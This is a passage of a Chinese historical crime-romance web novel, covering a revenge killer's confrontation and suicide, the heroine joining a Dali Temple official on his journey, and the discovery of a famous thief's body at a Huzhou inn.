“好,温小姐……”贺扶转头正要叫上温余,却见她已走在了前面,正在向对岸跑去。
贺扶闭了闭眼,怎的都这般莽撞?
“跟上。”他向启蛰道。
温余到了河边,听着温淳的叫喊,颇为无奈道:“别叫别乱动,等力气耗尽了你就真要死了!”
可此刻的温淳哪儿能听得进去她的话,仍然大力拍打着水面,大喊着救命。
蠢货!
温余咬牙,正要在河岸找些能帮忙的东西却感到背后被什么东西抵住。
“张申?”温余当下便猜到了他的身份,出声问他。
背后的刀似乎又近了几分,张申凑到她耳边,语调冰冷:“别动,我不想杀你。”
说罢,他侧目看了看在水中的温淳。
她马上就没有力气了。
很快,伤害过阿姐的最后一个人就要从这个世界上消失了!他就能放心的去陪阿姐了……
所以,绝不能被旁人破坏,绝对不能!
“阿喜不愿看你为她这样报仇的。”温余没有再动作,转头对上他猩红的眼。。
张申沉默片刻,意识有瞬间的回笼。
面前的这个人,曾帮过阿姐,曾给过阿姐银钱,让阿姐可以买些吃的,是好人,是恩人,不该死。
他和温余对视着,看到了她眼中的不忍,不是虚情假意的。后又听她道:“阿喜生前我曾与她交谈过,她说她有一位弟弟,很是聪明,也读得懂诗书,比她厉害许多,她说等她挣到足够的钱,就送她弟弟去学堂读书,定是能考取个功名回来,到时候她便开心了。”
她顿了顿,继续说:“她还说,如果考取不了功名,那便做些小生意,定然也会成功,因为她知道她的弟弟很厉害,不论是什么都能做得很好。”
张申握着刀的手有些松了,听着温余的描述,他好像能想象到阿姐说这话时的样子:她的眼睛一定很亮。
因为在她眼中,她的弟弟是全天下最为厉害的。
他渐渐放下了刀子,似乎也在回忆过往,他轻声道:“我知阿姐不愿我走入歧途,但我忍不了,我阿姐那么好,她对谁都好,她为了治好我的腿四处奔波寻医,日夜赶工赚钱,可为什么会是这样的结局?”
“你既然知道阿喜为了救你费尽心力,就更该保护好自己,否则她做的那些又有什么意义呢?”温余伸出手想要从他手中把刀夺过来,却见他又忽得暴起。
“我说了,我忍不了。”张申的目光忽得凶恶起来,“那个混蛋,借着阿姐的帮扶才勉强考上个秀才,但他考上之后竟然嫌弃我阿姐是个不识字的村妇,对她出言侮辱拳打脚踢,那个臭和尚四处散播谣言,败坏阿姐的名声,你知道其他人都是怎么说阿姐的吗?他们叫我阿姐淫.妇,还想侮辱我阿姐……”
张申深吸一口气,声音都颤抖起来,“还有那个恶心的员外他、他……”
他似乎有些说不出口,胸膛起伏间,一滴泪自左眼滑落。
温余垂眸,她认识张喜,她确实是一位好姑娘,为人和善,在知州府中,她是唯一一个不嫌弃自己,不对自己冷眼相待的人,努力做工也只是为了供夫君考取功名,为弟弟治病,可最后却落得这个下场。
“可是……”
温余话未出口,就见贺扶和启蛰赶了过来,张申立刻将刀横在她脖子上,对面两人喊道:“你们都别动,往前一步我就杀了她。”
他似乎不想害温三小姐……
贺扶看着他拿刀的手细不可查的颤抖,心下明了,看了启蛰一眼后,开口道:“杀人重罪,潜逃又是一罪,张公子何必自断生路?”
“生路?我不需要,我要给我阿姐报仇。”张申没有丝毫畏惧,直直盯着贺扶的眼睛。
“既有冤屈何不找官府办案?怎能随意害人性命?”贺扶劝说道。
“官府?他们怎么办?贺大人不是知晓我阿姐是自杀,被逼自杀,就算交给官府,他们又能如何?无非是训几句最多关几天,如何能为我阿姐讨回公道?”
“那你杀了他们就能为张喜姑娘讨回公道了吗?不过是以暴制暴罢了。”
“至少比眼睁睁看着他们在世上逍遥快活来的好!”张申看向贺扶的目光中带上了些嘲讽,“像你这样高高在上的大官,怎么可能会理解我?一口一个报官,一口一个律法,既然你的律法那么有用,为何这世上还有那么多恶人在逍遥快活,那么多好人平白无故被
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害?”
“你所推崇的那些律法究竟是在保护谁?”
张申说得咬牙切齿,字字泣血,竟是让贺扶也有了一瞬的恍惚。
此案中被害的三人,哪一个不是作恶多端?活人有律法保护,那已逝之人呢?她就该死吗?
还是就像师父说的那般,有些人生来就该死?
温余见贺扶陷入沉思,又侧目看了看已经沉下水的温淳,再拖下去就真的要死了!
“垚垚……”她想起张喜曾告诉过自己的张申的小字,便唤了一声。
果然,张申登时一僵,不可置信道:“你叫我什么?”
这世上只有阿姐会这么叫他。
“这个名字是阿喜告诉我的,她说这名字是她求街边的一位卖字先生为你取的,寓意为高山。”
“她希望你可以做高山不止是为了让你为她遮风挡雨,更希望的是你可以成长到如高山一般,或去庇护弱小,或去触碰高天。”
“她怎么什么都同你说?”张申不敢去看温余都脸,但温余却直直看着他,他的手愈发颤抖。
温余叹了口气,“因为没有人可以听她说这些了,她不敢同你多说话,因为她怕你会心疼她,她怕她会影响你,所以只能在深夜中同我说这些。”
虽然张喜同她说这些是为了排解心中痛苦,但对她而已又何尝不是一种陪伴慰藉呢?
只是寒夜中两个人相互依偎罢了。
张申终究是受不了了,他的胳膊脱力似的垂下,刀掉落在地上发出一声闷响。
透过温余的眼神,他似乎又看到了阿姐,像是在质问一般。
他失魂落魄道:“她还同你说了什么?”
“我曾经问过她,说她做的一切都为了你,就不考虑考虑自己吗?她却说,她已经被毁了,但她希望你能过得安稳顺畅。”
张申缓缓蹲在地上,双手一下又一下的抓着自己的头发。
他好像已经濒临崩溃了。
他在做什么?分明阿姐那么希望他走上正途,他却去杀人?
如果阿姐知道了会怎么样?
他甚至都不敢去死,他怕见到阿姐,怕阿姐对他失望。
可是他还没有给阿姐报完仇,但阿姐真的希望自己给她报仇吗?
他不知道,他什么都不知道……
温余蹲下身轻轻抚上他的肩——此刻正不断颤抖着。
“温小姐,”他似乎找回了理智,但声音沙哑,“你能不能帮我一个忙?”
温余轻声问他:“什么?”
张申突然抬起头,露出那张涕泪横流的脸,眼尾处妖冶的红竟是生出几分楚楚动人来,若是不仔细看倒是像个娇滴滴的姑娘。
温余周身一僵,似乎全身的血液都在那一刻凝固了。
关于贾元生一事,张喜并没有同她细讲,她也只当是一个姑娘家的廉耻心,但此刻她又猛得一想,那日贾元生带“张喜”回家时是酉时,但她在戌时还在同温淳争工钱的事情。
所以,那贾元生带回去的,到底是谁?
而且在贾元生案发那日,他带张申回去是因为他扮作了女子,还是因为,贾元生要的,就是张申呢?
张喜的悲愤,张申的难以开口,以及贾元生身上的另一枚金锭……
温余脑内一团乱麻,却隐隐约约听到张申一句:
“我死后,将我和阿姐葬在一起……”
没等温余反应过来,张申便已口吐鲜血倒地。
温余愣住,一时不知道要做些什么。
贺扶见此急忙赶了过来为张申测了测鼻息,口中□□,已经救不了了。
看着他瞪大的双目,贺扶叹息一声后伸手帮他合上。
世事不公,可怜人罢了。
他正要收回手,却不小心撩开了他额角的发,他顿时愣住。
因为张申的右额角上有一个小小的刺青,仔细看竟是一朵小小的剑兰。
“大人……”启蛰已经将温淳救了起来,万幸没有性命之忧,他又见贺扶面色凝重便开口问他。
“先带他回府衙吧。”贺扶缓缓起身,双眼竟有些发黑。
那个刺青他见过,十五年前的那场大火里,那个把剑横在自己面前的人,他的手上也有这个刺青。
贺扶缓了缓,好在终于找到线索了。
7. 童谣杀人(五)
“温小姐,方才张申同你说了什么?”贺扶整理好心情,问道。
温余也站起身来,轻轻摇了摇头:“没什么,就是有关他阿姐的小事。”
说罢,她忽得又想起方才贺扶在原地愣神的样子,有些好奇,“那贺大人您方才为何突然愣住了?”
“说来惭愧,身为大理寺卿,贺某还有一事不明。”
贺扶看着温如升正急急忙忙带着人过来又抬头看了看遮住天际的树影,今夜原来是有月亮的,只是方才被云遮住了,此时被风一吹,便露出一个小小的月牙儿来。
他的声音很轻,像是在问温余又像是在问自己:“张申方才所说的,律法究竟在保护谁?我也很想知道,那三人作恶却要寻得律法保护,而张喜惨死却无人为其申冤,这一问贺某当真不知。”
贺扶垂下眼,道:“贺某也曾经想过修订律法,但始终不得其法。”
温余也抬眼去看,她思索了半晌后指着那弯月道:“这世上可没什么尽善尽美的东西,就像月亮,人人都爱它完满,但此刻不也是缺了许多,所以……”
温余侧身去看贺扶,旁边的树上被知州府的人挂上了照明的灯笼,昏黄的灯光映得这人的侧脸愈发温润,君子如玉,着实不凡。
“贺大人能做得就只有尽力去完善它,让它最大可能得公平公正,同月亮一般,尽最大可能的照亮世人。”
贺扶也转过头,温余不知什么时候提了一个灯笼,见他一转身便将那灯笼塞在自己手中,笑靥如花道:“左晋律法的指路明灯,就交付到贺大人手上了!”
提手上还带着少女手掌残留的温度,贺扶轻轻握了握,道了一声:“好。”
次日一早,温余少见的睡到了自然醒,一醒便是巳时末。
婚退了、事了了,着实轻松得很,而且经过昨天那一闹,温淳怕是吓得不轻,应当近半月都不会来找自己的麻烦了!
她悠闲地在院中溜达了几圈,将目光停在院中放着的棺材上。
“看来那刘家老爷一时半会应该是死不了了,”温余轻轻叹了口气,“又少一笔钱,白做咯……”
温余又从怀中拿出一块被撕破的衣料,是昨日她趁乱从张申身上扯下来的。
她将布料安稳放在棺材中,随后将棺材盖上,拿了钉锤开始封棺,一边封棺一边碎碎念道:“上次你阿姐的那口棺材我可是亏了不少,这次又是便宜你了,唉,要是有下辈子记得还我钱啊!”
将棺材封好后她从屋中翻出了在别人葬礼上顺来的剩余的纸钱之类的东西装进包袱里,用木车拉着棺材、背着包袱顺着小路往城外的山上走。
张喜就被埋在这里,是她生前最喜欢来的地方,看看风景,眺望她去不到的远处。
她之前总想着让张申代替她去看,却没想到张申也看不到了,那就让我替你们去看吧!
经过昨夜那么一闹,温余倒是下定了决心,她要跟着贺扶一起走,寻死觅活也要走!躲得过初一躲不过十五,谁知道留在这里温如升又会给自己找个什么乱七八糟的夫家!
埋了人,烧了纸,温余直起腰拍拍身上的土,准备回知州府。刚到门口便听府内一阵吹拉弹唱。
“宴会?说不准能拿些吃的!”
念此,温余悄悄摸进侧堂,观察着正堂内的情形。
温如升正在给贺扶敬酒,嘴里还说着什么多谢贺大人救了小女一命什么的。
温余不禁撇了撇嘴,第一次和温淳发脾气就出了这么大的事情,怕是给他心疼坏了,日后定是会更加纵容温淳。
其他人也是一水莫名其妙的奉承,温余听得没劲,还是找些吃的要紧。
奈何刚一转身她便撞上了一个坚硬的胸膛,她吃痛叫了一声。
“你这丫头鬼鬼祟祟的干什么呢?”
一听这令人牙痒的声音温余便知道又是启蛰这个死冤家。
“谁鬼鬼祟祟了?”她回怼道。
启蛰后退三步,借着比温余高一个头的身高居高临下俯视他,一脸鄙夷:“切,一大早上找不到人,一回来就到这来偷看?你不会真看上我家大人了吧?我可告诉你,我家大人日后的妻子就算不是什么名震左晋的名门贵女,最次也得是一位知礼明仪的大家闺秀,就像你这样的野丫头,就算死缠烂打得了大人青睐,幸丞相也定是不会同意的!”
“不是,你这人莫名其妙,谁看上你家大人了?或者说你从哪儿看出来我看上你家大人了?别乱给别人安名头,信不信我告你诽谤啊!”温余被他这一说气得不轻,自己怎么就莫名其妙“被”看上贺扶了?
听她这么一说,启蛰突然瞪大了眼睛,似乎是听到了什么天大的玩笑,惊奇道:“你竟然不喜欢我家大人?你这丫头也太没品味了!”
温余觉得这人更莫名其妙了,怎么看上了要被贬低人,看不上又要被贬低品味,真是野猪对铜镜,里外不是人!
她气道:“又不是所有人都要喜欢你家大人,我就是不喜欢怎么了!”
“嘿,我家大人芝兰玉树,泽世明珠,能文能武,玉树临风,上街从来都是掷果盈车,女子见了要羞红脸,男子见了要羞愧低头,就算是在京城这样名士众多的地方,也是有不少名门闺秀都争着抢着要做在大理寺夜间添香的红袖,不说压过首辅大人排第一,也是能稳坐第二的!你竟然不喜欢我家大人,简直是……”启蛰指了温余半晌,最后还是憋出来两个字,“没品!”
温余扯了扯嘴角,不想再和面前这傻子争论这些有的没的,想借机离开,却又忽得记起他所说的“一早上找不到人”,便只好继续问他:“行了行了,知道你崇拜你家大人,你刚刚说今早找了我一早上,要做什么?不会就是为了在我面前夸你家大人然后贬低我吧?”
听温余问起这个,启蛰这才停住了夸耀贺扶
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的嘴,明显的不情不愿道:“还不是我家大人非说你也是功臣,要邀你入宴,害得我找了你一个早上,半个影儿都没有!我说你大早上跑什么跑?吃饱了撑的啊?”
“邀我?”温余少见的没有理会启蛰的出言不逊,只是不可置信地指了指自己。
这种宴席她是从未参加过的。于身份而言,爬床侍女所生的庶女向来不配入席;于私情而言,温如升不喜欢她,自然也从来没叫过她。更可悲的是,哪怕是她要拿些席上的剩菜剩饭填肚子也得偷偷摸摸的,被发现了除过一顿打还有温淳的嘲笑。
“对啊,怎么了?”启蛰觉得温余的反应过于夸张了些,平日里他家大人也是会时不时设宴犒劳下属的。
“我,入席?”温余还是不敢相信。
“对,你入席,我家大人不计前嫌,你就偷着乐吧。”启蛰抱臂催促,“还不快点过去,难不成想吃剩菜剩饭啊?”
温余收回手,在启蛰的催促下转身推开门向正堂走去。
而堂中最先发现温余的便是贺扶。
他见温余进来便站起身向她笑笑,“温三小姐来了。”
贺扶本就万众瞩目,他这一句自然也让宴席上的宾客都看向了站在角落的温余。
突然被这般注目,温余一时有些不适应,但也只是一时。
“贺大人和众位宾客久等了。”温余笑着回应。
“余儿,还不快些入座?”
温如升莫名亲昵的称呼使得温余起了一身疙瘩,她看了温如升一眼,他正堆着笑也看着自己。
“好。”温余学着温淳平日里的样子向众人行了个礼,动作却不似温淳那般造作,反倒多了些干脆利落。
直到坐入席中,温余才感受到自己莫名加快的心跳。她抬眼看了看周围挂着笑脸的人们,应当是贺扶在他们面前说了自己什么好话,此刻他们正奉承着温如升,说他教导有方。
说来也是可笑,这席上所有人怕是都知道温如升对她自小不管不顾,如今倒是都装上了。
但出奇的,温余不觉得讨厌,反倒有几丝舒爽。
环视四周,最后与贺扶对上了眼。
贺扶微微勾唇,抬手将酒杯往她的方向一举,算是远远敬了她一杯酒。
温余也立刻端起酒杯,回敬他。
丝竹管弦,觥筹交错,不知过了多久,温余瞥见贺扶悄无声息地离开了宴席,看方向应当是正堂旁的凉亭。
温余起身跟了上去,只见启蛰正在亭中等着。
“大人,启蛰去寻了那位医师的住所,没有发现他的行踪。”
贺扶放在身前的手轻轻握起,问他:“那他的家事可有消息?”
“据周围人说他是从湖州搬过来的,除此之外没有任何线索。”
既然只有着一条线索,那就……
“他家住湖州,那我们接下来便去湖州看看。”
8. 迦南玉案(起)
“谁!”
寒光一闪,长剑架在脖子上的时候,温余还没来得及溜走。
怎么又来?
“鬼鬼祟祟偷看,还说不是觊觎我家大人!”启蛰一脸正气,背后的贺扶脸上明显闪过一丝疑惑。
温余心中无语至极,这人怎么就抓着这点不放了?
“我是看贺大人离席好奇才跟来的!”温余解释道。
谁料启蛰立刻应道:“你不一直盯着我家大人怎么会注意到他离席?”
……
温余张了张口,最终还是没有辩解,毕竟她不想和傻子理论。
“贺大人,您方才说之后要去湖州?”
贺扶看了启蛰一眼,示意他将剑放下。待启蛰收剑后退才回温余的话:“温三小姐问这个做什么?”
温余上前几步,一双秋瞳盈盈,问他:“可否带我一起去?”
“你还说……”
见启蛰又要说些浑话,贺扶无奈道:“启蛰,回席。”
启蛰哀怨看了贺扶一眼,只好不情不愿地道了声是后一步三回头的离开。
“启蛰年纪小,冒犯之处,温三小姐见谅。”贺扶也知晓启蛰这孩子喜欢咋呼,便替他向温余致歉。
温余面上说着“无事无事”,但碍于有求与人,只能在心中暗暗揶揄:那是年纪小吗?那是没礼貌,还喜欢随意揣测别人!
“不过不知温三小姐为何想与贺某同去?”
贺扶心中对温余想要同去一事并不排斥,若是平常案件他自然会欣然应下,毕竟惜才如他,曾能放任这样一位聪慧伶俐的人才不顾呢?
但念在此事关系重大,她又是女孩子,于公于私,自然也不能让她趟这趟浑水。
“因为好奇!”温余立刻接道。
“好奇?”贺扶轻道一声,“温三小姐好奇什么?”
“那个莫名其妙的人为什么要来找我,为什么要同我说那些话,还有好奇贺大人……”温余一顿,拉足了贺扶的兴趣。
“好奇什么?”
“当然是好奇贺大人这般玉树临风、风度翩翩、举世无双的皎皎君子可愿意帮小女这颗孤零零的小野草脱困呢?”
贺扶侧脸躲过温余那颇为直接的目光,轻咳一声:还真是油嘴滑舌。
“温三小姐不必这般妄自菲薄。”
见贺扶欲迎还拒,温余狠下心来直接去拉他的袖子,又见他没有立刻甩开便得寸进尺地摇来摇去。
她拖长了声音,恳求道:“贺大人,就帮帮小女吧,您竟然能帮小女退婚,自然也能带小女走的。”
“贺大人,您难道就忍心将小女这棵没人疼没人爱的小草丢在这里令人欺辱吗?”
“贺大人,您难道完了小女昨夜表现的多么英勇无畏,定然不会给您添麻烦的。”
“贺大人……”
一声声百转千回的“贺大人”唤得贺扶耳尖发烫。他自小同师父师兄待在一起,与姑娘家交集本就不多,何时被这般扯着袖子撒娇过?
“咳,温三小姐莫要再唤了……”贺扶轻轻将她的手拿下。
“贺某同温大人说便是了。”最终,贺扶还是妥协了,若是要问是因为温余的这番撒娇还是自己的几分私心,贺扶自己也不知道。
听贺扶同意,温余激动起跳,喊道:“贺大人最好了!小女对贺大人的崇敬之情如滔滔江水般延绵不绝!”
他轻轻笑了几声,无奈道:“温三小姐下次莫要这般激动了,先去准备行李”
温余一脸坚毅:“是!”
等贺扶回到房中,告诉启蛰温余要同去的消息时,他明显的看到启蛰的头发有一瞬的上挑。
“什么?!”启蛰震惊道,“大人您不会被下蛊了吧?怎么能让那野丫头和我们同行?”
“启蛰,礼数。”贺扶端正坐在书案前,手下的笔没有停。
意识到自己的称呼有误,启蛰不情愿地改了口,斟酌用词后再次问道:“您怎么能让那位温三小姐和我们同行呢?”
“我很好奇,那背后之人为何偏要告诉温三小姐迦南玉一事,而且她实实在在的与那人接触过。”贺扶抬手沾了沾墨,又在纸上留下一列工整的小楷。
启蛰还是不理解为什么非要带着温余:“可您不是已经派启蛰查探了吗?”
“此事,怕是要费很多力气,与其让你来来回回的跑,不如直接带着温三小姐,还能得到更多信息。”
启蛰点头,道了声“明白”,心中顿悟,原来我家大人是心疼我,才带着那野丫头的。
“对了,”贺扶顺了顺笔尖后又道,“替我向京城传一封信。”
“传信?什么信?”启蛰疑惑,要给幸丞相的信大人不是已经在写了吗?
“让葛巾把府北侧的那方小院收拾一下,准备些缚锦楼新上的衣裳,具体花色什么的让葛巾自己斟酌,还有……”贺扶顿了顿,似乎在思考此举的可能性。
还有?
启蛰内心狂啸,那北侧的小院可谓是冬暖夏凉,通透至极,可是府上除过贺扶住的祝桐院之外最好的一方院子了,听贺扶的意思竟是要将那院子给温余?
不公平,太不公平了!
贺扶斟酌许久还是吩咐道:“从丞相府把那几树海棠移栽进院中。”
“什么?!”启蛰还是控制不住心中的惊讶,“凭什么?”
“嗯?”贺扶从未见过他这般模样,看多了竟还有些想笑,“吃醋了?”
启蛰知道贺扶是在变着法儿的打趣自己,别过头去,闷闷道:“启蛰不服,凭什么那温家小姐一来就能住那么好的院子,还要去丞相府移栽海棠树?”
贺扶轻叹一声后将笔放下,道:“为何不服?你要日日练武,我便日日去换你那用坏了的木桩,你喜好珍藏剑器,我便在院中专门建了间放置剑器的屋子,还命人按照你剑器的尺寸打了架子。”
“你十岁时从外面捡回一条蛇,我虽不喜那阴冷之物却还是想着法子替你养它。后来你又觉得无聊,我便只能将它给放了,可某天夜里你发了高热,哭着闹着要那条蛇,我也是费了大力气才将它找回。”
“不过是个人喜好不同,你便这般拈酸,觉得我偏心,”贺扶垂眸,“还当真是让我寒心啊……”
见贺扶这般样子,启蛰顿时慌了神,连连上前安慰:“启蛰不是这个意思,启蛰当然知大人您对谁都好,哪怕是街边的阿猫阿狗都温柔相待,您莫要生启蛰的气……”
贺扶又叹一声,“那
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还不快些去寄信?”
启蛰慌忙拱手道:“是。”
等启蛰离开,贺扶才将手微微蜷起,放在唇边遮掩笑意。
这孩子,偏听偏信,旁人说什么便是什么,日后怕是要好好教导一番。
笑了半晌,贺扶才继续提笔写信,等到他将信写完后就已到了傍晚,他也该出发了。
启蛰代贺扶回绝了温如升送的一车珠宝后带着下人将必需的物品搬上马车。
“大人,这温三小姐怎么还不来?”
站在车外等了许久后,启蛰还是忍不住问出了口。
贺扶掀开帘子,向知州府内看去,猜测道:“莫不是温大人还不愿放行?”
“不放就对了,谁家未出阁的姑娘跟着男人跑来跑去?”启蛰抱着剑一脸不情愿,说罢,他又突然想起是自家大人和温如升提说的,只好找补道,“也可能是觉得她会给大人您添麻烦,所以才不放的!”
不过二人刚说完不久,温余就背着一个小包袱蹦蹦跳跳地跑来了。
“久等了!”
“知道久就好,要是再久些我们可就不等你了!”启蛰抱怨道。
贺扶却对着温余微微一笑:“贺某还当温大人不愿放行呢。”
温余飞快的冲启蛰做了个鬼脸后自得道:“贺大人一言,自然是万分奏效!”
毕竟温如升现在一颗心都扑在那个差点丢了小命的宝贝女儿身上,对自己那一点点愧疚也在帮她退婚后消失殆尽,如今听她要走更是没有丝毫阻拦的意思。
少了个惹事的小祸害,还少了一张吃饭的嘴,他高兴还来不及呢!
“温三小姐言重了。”贺扶自谦道。
温余嘿嘿笑两声,正当她撑着手准备要上马车的时候却被启蛰拦了下来。
看着横在自己胸前的长剑,她转头没好气的问:“干嘛?”
这人一天到晚就知道找事!
启蛰指了指后面的那辆马车,道:“后面,离我家大人远一点!”
温余收回手,拍了拍沾在手上的土,回道:“后面就后面,凶什么凶?”
等温余故意放慢步子走到自己的马车旁时又见到了一辆正好停在门前的马车,看样式应当是何家的马车。
下车的是一位哭哭啼啼的妇人,她知晓那是何继宗的母亲。
何母被人搀扶着往府内走,边走还边喊着要温淳给她儿子负责任,毕竟那日被一粘,日后怕是都不能人事了,这事还闹得人尽皆知,又碰巧被温如升退了婚,简直是屋漏偏逢连夜雨,整个扬州城怕是都没有那家姑娘愿意嫁给他了。
温余心中暗爽,这对狗男女怕是要牵扯一辈子了!
在心中祝愿了这对“准新人”百年好合、天长地久之后温余一转头才发现这马车旁竟然没有梯子。
她冲前头的启蛰喊道:“梯子呢?没有梯子怎么上啊?”
启蛰得逞一笑,回喊道:“温三小姐这么厉害,爬上去呗!”
“混蛋!”温余低低骂了一声后两手一撑,颇为艰难的爬上了马车。
启蛰见她那副样子,不由笑出了声,却听车内的贺扶说了一句:“下次再胡闹,月俸减半。”
启蛰立刻闭了嘴,“启蛰明白。”
9. 迦南玉案(一)
湖州距扬州并不远,马车一路南下,进入湖州城。
温余掀开帘子看着两侧的街景,双眸发亮。
这与她在扬州所见并不相同,扬州街上摆着的大多都是些绫罗缎罗、诗书字画之类的,而湖州却不同。这里多手作,木工雕刻、玉雕手串琳琅满目。
这地方好,说不准能多学些雕刻手艺,虽然跟着贺扶,但也不能忘了看家的本事。
温余正在想着从何开始,是云纹还是莲纹呢?却听贺扶轻笑一声。
“嗯?贺大人笑什么?”温余的手仍然掀着帘子,又因为听到贺扶的笑声转过头来,疑惑地看着他。
春日的风是温和的,不争不抢的,它自被掀起的车帘旁溜入,吹起贺扶耳边的一缕鬓发,温余不觉有些失神,又想到日后自己要和这般神仙似的人物一同生活,心中便开始暗爽。
贺扶屈手放在唇边轻咳了一声,道:“无事,温小姐很喜欢这里?”
温余放下手,帘子顺势将马车和外部隔绝,她想了想,回答道:“还好吧,就是觉得热闹,还能学些雕花手艺之类的。”
“熙熙攘攘,安居乐业,确实是一片祥和景象,很难不让人心情愉悦。”贺扶赞同道,“至于温小姐想学手艺,若是得空贺某便去帮你寻些雕花师父来。”
温余欣然接受:“好!”
二人交谈间,马车已在一家客栈前停下。
车外的启蛰声音闷闷的,道“大人,到了。”
贺扶和温余前后脚下车,启蛰在看到温余后嫌弃的撇了撇嘴,温余却无奈摊手,这是天意!
就在进城前,温余的马车好死不死被一块石头卡在路边,死活动不了。她叫住了启蛰想让他帮忙推一推却被他嘲笑了一番后拒绝了,温余便只好自己动手。
在推了半晌还是一动不动后,温余决定发挥自己的木工才能开始在马车轮子上下手,没想到一个不小心把轮子给拆了。
马车彻底罢工,温余原本想着进城的路不远,着实不行自己也可以走着过去,但是贺扶又提议她和自己坐同一辆马车凑合凑合,这和温余“能坐着到湖州绝不走着到湖州”的想法不谋而合,就欣然应允。
到了启蛰眼里却成了故意弄坏马车,只为和贺扶有接触机会的小心机。
从她上了贺扶马车的那一刻便没给过她好脸色。
好吧,他好像从来没给过自己好脸色。
温余在路过启蛰时还悄声说了句:“让你不帮忙,就只能让我被迫和你家大人同乘一辆马车咯。”
启蛰登时气得跳起,“被迫?你就偷着笑吧!”
早已进入客栈的贺扶听到响动回头,安抚启蛰:“启蛰,是我请温小姐上车的。”
启蛰听后更气了,生气之余竟升起一丝悲凉,自家大人也太没有防备心了,怕是被人卖了还要帮人家数钱!
温余对启蛰吐了吐舌头,跟上贺扶。
进了客栈,贺扶和憨厚的掌柜交谈,温余无聊,就背着手观察起整个客栈来。
不愧是湖州最好的客栈,单从顶上三头一栱的精细程度就能看出建造者的用心,再加上堂内柱上的雕花金饰,怕是在住宅中都算极品了。
看完结构,温余又踱步到堂内摆放的桌椅旁,伸手摸了摸桌腿上的雕花,是最简单的祥云纹,不过凸起处雕的平整光滑,再加上打了蜡,手感舒服得紧。
她蹲下身,更近的观察,打算学习学习这工匠的手艺,下次给棺材雕花的时候也能练练手、变变样。
“喂,你对一个破桌子发什么呆?”启蛰见温余蹲在桌子旁对着一个桌腿摸了又摸,颇为不解。
“这雕花如此精细,你竟然说它是破桌子?!”温余为自己极为喜爱的“学习模版”正名。
启蛰觉得奇怪,上前仔细打量了一番那桌子,见只是普通到不能再普通的楠木桌,扯了扯嘴角:“不就是个普通桌子吗?我们大理寺多得是。”
听他话语间暗含的炫耀,温余瞪他一眼:“我没见过不行啊!”
启蛰洋洋自得地嘲讽一句:“这都没见过,土包子。”
“那请问面前这位学富五车的小公子,你可知道这东西叫什么?”温余伸手往上一指。
启蛰抬头一看,“这不就是个梁架吗?随处可见。”
“那你知道它要怎么架构,又是个什么叫法吗?”温余继续问。
启蛰张了张嘴,他确实不知道这怎么叫,他又不修房子去,但又争强好胜,只能佯装随意道:“我为什么要知道?”
温余见他这幅别扭的表情,心中暗爽,哼哼笑了两声正要回答就听贺扶率先抢答道:“这是梁架寻常的架构方法,抬梁和穿斗二式相结合,稳固不易坍塌。”
听贺扶解惑,启蛰似懂非懂地点点头道:“原来如此。”
温余叉腰笑道:“切,这都不知道,土包子。”
“你……”启蛰自知失利,不再和温余争执,自然也有些怕被扣月俸的成分在。
“温小姐果真聪慧,见识颇多。”贺扶眼中满是赞赏,心中也不由庆幸自己将温余自深宅中带出,若是这般有天资的贤才未能得伯乐赏识,将一生都困于内宅之中,未免太过可惜。
温余骄傲地看着启蛰,故意对他说:“多谢贺大人夸奖,说我见识颇多,才不是土包子。”
启蛰脖子通红,一路红到下颌,低着头不去看温余这得意洋洋的样子。
贺扶见二人这似垂髫小儿斗嘴吵闹的样子,只觉得有趣,自启蛰跟着自己起,可是从未这般吃过哑巴亏,这温小姐还真是厉害。
“好了,我们先上去吧,一路舟车劳顿,也该休息片刻了。”
贺扶结束了这场并无硝烟的“酣战”,三人各自去到自己的房间。
一打开门,温余就觉得香气扑鼻,是桂花香。
并非八月,何来桂花?
温余看向窗边袅袅升起的细烟,原是客栈老板的巧思,男子入住大多薰檀香之类的冷香,而女子入住便薰些花香、果香之类的暖香。怪不得这客栈常年满客。
温余虽然感叹于这老板的细致入微,但她却是更喜欢海棠香气。
她此刻清醒得很,在屋内转一转、翻一翻,拿透了屋内布局后便一屁股坐在铺得整齐的床上。
好软!好舒服!
温余眼睛亮了亮,她从未睡过这般柔软的床铺,倒是不知这样的床铺睡上去会有多舒服。
她张开手臂躺了下去,整个人瞬间陷在柔软的被褥中,她发出一声满足的喟叹,抱着被子开始在床上打起滚来。反正这床够大,也不担心滚下去。
滚着滚着,她便犯困了,还抱着被子,便幽幽睡去。
一觉就睡到了第二日卯时。
许是因为从来没睡过这软乎的床铺,第一次睡起就觉得腰酸背痛,哪儿哪儿都不舒服。
温余起身活动活动身体,顺便开窗向窗外看了一眼,天色不过蒙蒙亮。
在屋内走了几圈,不适还是未曾缓解,温余只好披上外衣,打算外出活动活动。
溜达了一圈后,她来到了后院。
四方的后院,只有院中部十分空荡,想来正是供人活动的。其余四角都有各自的“用处”,院东头摆放着晾衣架子,架子下放着木盆和搓衣板,院西头堆放着许多装满新鲜蔬菜的菜筐子,看样子是才送来不久,院南头摆着木柴和劈柴的木桩和斧头,而院北头是一扇虚掩着的木门,地上有些车轮碾压的印记一路延伸到院西的菜筐旁。
蔬菜应该就是从后门运过来的。
温余看着那扇门,觉得有些奇怪。
这门为何是虚掩着的?就不怕有盗贼溜进来?
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不知为何,温余下意识地顺着车辙看向西边那堆着的菜筐,她缓步走到菜筐旁,她能闻到新鲜蔬菜的气味,还有其中夹杂着的……人味?
温余伸手将最上面的菜筐搬开后伸手去拨开最底层菜筐中的青菜。
这里似乎有东西?
只是轻轻将最上头铺着的菜叶拿开,一只脏兮兮的人手就出现在她眼前。
温余的动作快起来,当所有的菜都被拿出后,只见一个矮小的黑衣男人正以一个扭曲的姿势被塞在菜筐之中。
温余小心翼翼地将男人从菜筐中拉出,他依旧维持着那个扭曲的姿势,他的尸体已经僵硬了。
身量矮小不过六尺半,比温余还要矮上几分。
瞳孔涣散,嘴唇呈现青紫色,脖颈处有紫色痕迹,死因应当是中毒,而这人拇指和食指对应处有茧,应当是经常撬锁,并且在额上有黥印,可以笃定这人生前是个盗贼。
他怎么会死在菜筐里?
温余站起身,粗略看了看四周,没发现任何奇怪的痕迹后转身走进屋内去找贺扶。
贺扶跟着她来到后院,在他看到尸体的那一刻,惊讶道:“飞舟?”
温余也一惊,道:“神偷飞舟?”
她确实推断出了这人的身份,但没想到竟然是那位神龙见首不见尾的江湖传说,有着“隐于人,隐于夜,不见其影,唯留财空”的名头。
“官府都抓不到的神偷,竟然会死在这里?”温余不可置信的打量着地上的尸体。
匆匆赶来的启蛰小声对贺扶说:“迦南玉失窃,与他有关。”
贺扶点了点头,上前去查看飞舟的尸体。
